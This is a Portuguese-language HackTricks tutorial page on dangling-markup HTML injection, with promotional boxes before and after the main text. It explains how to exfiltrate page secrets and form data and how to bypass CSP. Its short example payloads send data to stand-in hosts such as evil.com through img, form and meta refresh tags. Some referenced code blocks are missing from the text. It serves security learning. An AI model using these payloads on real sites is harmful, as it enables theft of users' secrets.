<summary><strong>Aprenda hacking no AWS do zero ao herói com</strong><ahref="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
* Se você quer ver sua **empresa anunciada no HackTricks** ou **baixar o HackTricks em PDF**, confira os [**PLANOS DE ASSINATURA**](https://github.com/sponsors/carlospolop)!
* Adquira o [**material oficial PEASS & HackTricks**](https://peass.creator-spring.com)
* Descubra [**A Família PEASS**](https://opensea.io/collection/the-peass-family), nossa coleção de [**NFTs exclusivos**](https://opensea.io/collection/the-peass-family)
* **Junte-se ao grupo** 💬 [**Discord**](https://discord.gg/hRep4RUj7f) ou ao grupo [**telegram**](https://t.me/peass) ou **siga-me** no **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/carlospolopm)**.**
* **Compartilhe suas técnicas de hacking enviando PRs para os repositórios github do** [**HackTricks**](https://github.com/carlospolop/hacktricks) e [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud).
Esta técnica pode ser usada para extrair informações de um usuário quando uma **injeção de HTML é encontrada**. Isso é muito útil se você **não encontrar nenhuma maneira de explorar um** [**XSS**](../xss-cross-site-scripting/) mas você pode **injetar algumas tags HTML**.\
Também é útil se algum **segredo estiver salvo em texto claro** no HTML e você quiser **exfiltrá-lo** do cliente, ou se você quiser induzir ao erro a execução de algum script.
Várias técnicas comentadas aqui podem ser usadas para contornar algumas [**Políticas de Segurança de Conteúdo**](../content-security-policy-csp-bypass/) exfiltrando informações de maneiras inesperadas (tags html, CSS, meta-tags http, formulários, base...).
Se você injetar `<img src='http://evil.com/log.cgi?` quando a página for carregada, a vítima enviará a você todo o código entre a tag `img` injetada e a próxima aspa dentro do código. Se um segredo estiver localizado nesse trecho, você irá roubá-lo (você pode fazer a mesma coisa usando uma aspa dupla, veja qual poderia ser mais interessante de usar).
Você também pode inserir uma tag `<base`. Todas as informações serão enviadas até que a aspa seja fechada, mas isso requer alguma interação do usuário (o usuário deve clicar em algum link, porque a tag base terá alterado o domínio apontado pelo link):
Defina um cabeçalho de formulário: `<form action='http://evil.com/log_steal'>` isso sobrescreverá o próximo cabeçalho de formulário e todos os dados do formulário serão enviados para o atacante.
Usando a técnica mencionada anteriormente para roubar formulários (injetando um novo cabeçalho de formulário), você pode então injetar um novo campo de entrada:
e este campo de entrada conterá todo o conteúdo entre sua aspa dupla e a próxima aspa dupla no HTML. Este ataque combina "_**Roubo de segredos em texto claro**_" com "_**Roubo de formulários2**_".
`<noscript></noscript>` É uma tag cujo conteúdo será interpretado se o navegador não suportar javascript (você pode ativar/desativar Javascript no Chrome em [chrome://settings/content/javascript](chrome://settings/content/javascript)).
A partir desta [pesquisa da portswigger](https://portswigger.net/research/evading-csp-with-dom-based-dangling-markup), você pode aprender que mesmo nos ambientes **mais restritos pelo CSP**, ainda é possível **exfiltrar dados** com alguma **interação do usuário**. Nesta ocasião, vamos usar o payload:
Observe que você pedirá à **vítima** para **clicar em um link** que a **redirecionará** para um **payload** controlado por você. Note também que o atributo **`target`** dentro da tag **`base`** conterá **conteúdo HTML** até a próxima aspa simples.\
Isso fará com que o **valor** de **`window.name`** seja todo aquele **conteúdo HTML** se o link for clicado. Portanto, como você **controla a página** para onde a vítima está acessando ao clicar no link, você pode acessar esse **`window.name`** e **exfiltrar** esses dados:
Insira uma nova tag com um id dentro do HTML que sobrescreverá a próxima e com um valor que afetará o fluxo de um script. Neste exemplo, você está selecionando com quem uma informação será compartilhada:
Note que um **documento filho pode visualizar e definir a propriedade de localização para o pai, mesmo se for cross-origin.** Isso significa que você pode fazer o cliente acessar qualquer outra página carregando dentro de um **iframe** um código como:
Um iframe também pode ser abusado para vazar informações sensíveis de uma página diferente **usando o atributo de nome do iframe**. Isso ocorre porque você pode criar um iframe que se referencia, abusando da injeção de HTML que faz com que as **informações sensíveis apareçam dentro do atributo de nome do iframe** e, em seguida, acessar esse nome a partir do iframe inicial e vazá-lo.
Para mais informações, consulte [https://portswigger.net/research/bypassing-csp-with-dangling-iframes](https://portswigger.net/research/bypassing-csp-with-dangling-iframes)
Você pode usar **`meta http-equiv`** para realizar **várias ações** como definir um Cookie: `<meta http-equiv="Set-Cookie" Content="SESSID=1">` ou realizar um redirecionamento (em 5s neste caso): `<meta name="language" content="5;http://attacker.svg" HTTP-EQUIV="refresh" />`
Isso pode ser **evitado** com um **CSP** referente a **http-equiv** (`Content-Security-Policy: default-src 'self';`, ou `Content-Security-Policy: http-equiv 'self';`)
Você pode encontrar uma pesquisa muito **interessante** sobre vulnerabilidades exploráveis da tag \<portal [aqui](https://research.securitum.com/security-analysis-of-portal-element/).\
No momento desta escrita, você precisa habilitar a tag portal no Chrome em `chrome://flags/#enable-portals` ou ela não funcionará.
Nem todas as formas de vazar conectividade em HTML serão úteis para Dangling Markup, mas às vezes podem ajudar. Confira aqui: [https://github.com/cure53/HTTPLeaks/blob/master/leak.html](https://github.com/cure53/HTTPLeaks/blob/master/leak.html)
Isso é uma **mistura** entre **dangling markup e XS-Leaks**. De um lado, a vulnerabilidade permite **injetar HTML** (mas não JS) em uma página da **mesma origem** da que estaremos atacando. Por outro lado, não vamos **atacar** diretamente a página onde podemos injetar HTML, mas **outra página**.
XS-Search são orientados a **exfiltrar informações cross-origin** abusando de **ataques de canal lateral**. Portanto, é uma técnica diferente de Dangling Markup, no entanto, algumas das técnicas abusam da inclusão de tags HTML (com e sem execução de JS), como [**Injeção de CSS**](../xs-search.md#css-injection) ou [**Imagens de Carregamento Lento**](../xs-search.md#image-lazy-loading)**.**
<summary><strong>Aprenda hacking em AWS do zero ao herói com</strong><ahref="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
* Se você quer ver sua **empresa anunciada no HackTricks** ou **baixar o HackTricks em PDF** Confira os [**PLANOS DE ASSINATURA**](https://github.com/sponsors/carlospolop)!
* Adquira o [**material oficial PEASS & HackTricks**](https://peass.creator-spring.com)
* Descubra [**A Família PEASS**](https://opensea.io/collection/the-peass-family), nossa coleção de [**NFTs**](https://opensea.io/collection/the-peass-family) exclusivos
* **Junte-se ao grupo** 💬 [**Discord**](https://discord.gg/hRep4RUj7f) ou ao grupo [**telegram**](https://t.me/peass) ou **siga**-me no **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/carlospolopm)**.**
* **Compartilhe suas dicas de hacking enviando PRs para os repositórios github** [**HackTricks**](https://github.com/carlospolop/hacktricks) e [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud).